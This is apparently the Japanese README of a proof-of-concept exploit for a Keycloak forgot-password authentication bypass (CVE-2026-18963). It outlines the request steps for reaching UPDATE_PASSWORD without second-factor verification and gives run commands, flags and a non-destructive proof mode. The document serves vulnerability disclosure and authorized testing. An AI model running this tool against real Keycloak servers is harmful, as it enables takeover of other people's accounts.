
CVE-2026-18963の概念実証エクスプロイト。Keycloakのパスワード忘れフローにおける認証バイパスであり、適切な検証なしにパスワードリセットを可能にします。非破壊的な証明モードを含みます。
CVE-2026-18963 の Proof of Concept です。これは Keycloak の「パスワードを忘れた場合」/ 資格情報選択フローの欠陥で、攻撃者が必須の本人確認(例: 有効な OTP / 第二要素)を適切に完了しなくても、UPDATE_PASSWORD ステップに到達して対象アカウントのパスワードをリセットできるというものです。
このスクリプトは、ブラウザや Selenium を必要とせず、純粋に HTTP でフローを実行します:
tryAnotherWay をトリガーします。startSessionPolling() 再起動 URL を抽出してリプレイします。UPDATE_PASSWORD に進めます。このツールは、許可されたセキュリティテストおよび研究目的専用として提供されます(実施を依頼されたペネトレーションテスト、CTF、自身のラボ環境、または調整済みの脆弱性開示)。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して実行することは違法です。著者および貢献者は、このツールの誤用または損害について一切の責任を負いません。
問題の実証に十分な場合は、--stop-at-update-password を使用して、非破壊的な証明(新しいパスワードを送信せずに UPDATE_PASSWORD に到達)を生成してください。
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| フラグ | デフォルト | 説明 |
|---|---|---|
--base-url | http://localhost:8080 | 対象 Keycloak インスタンスのベース URL |
--realm | master | 対象レルム |
--client-id | account | ログインフローの開始に使用する OIDC クライアント ID |
--username | admin | 対象ユーザー名 |
--new-password | (必須) | 対象アカウントに設定するパスワード |
--stop-at-update-password | オフ | UPDATE_PASSWORD に到達した時点で停止し、新しいパスワードを送信しません(非武器化された証明) |
--timeout | 10.0 | HTTP リクエストのタイムアウト(秒) |
--output-dir | debug_http | デバッグ用に各中間 HTML レスポンスが保存されるディレクトリ |
--insecure | オフ | TLS 証明書の検証を無効にする |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
すべての中間 HTTP レスポンスは、オフラインでの確認用に 01_login.html、02_reset.html ... として --output-dir(デフォルトは debug_http)に保存されます。スクリプトは成功時に 0、失敗時に 1 で終了し、進捗状況と診断メッセージを stdout に出力します。
Aurélien LOIE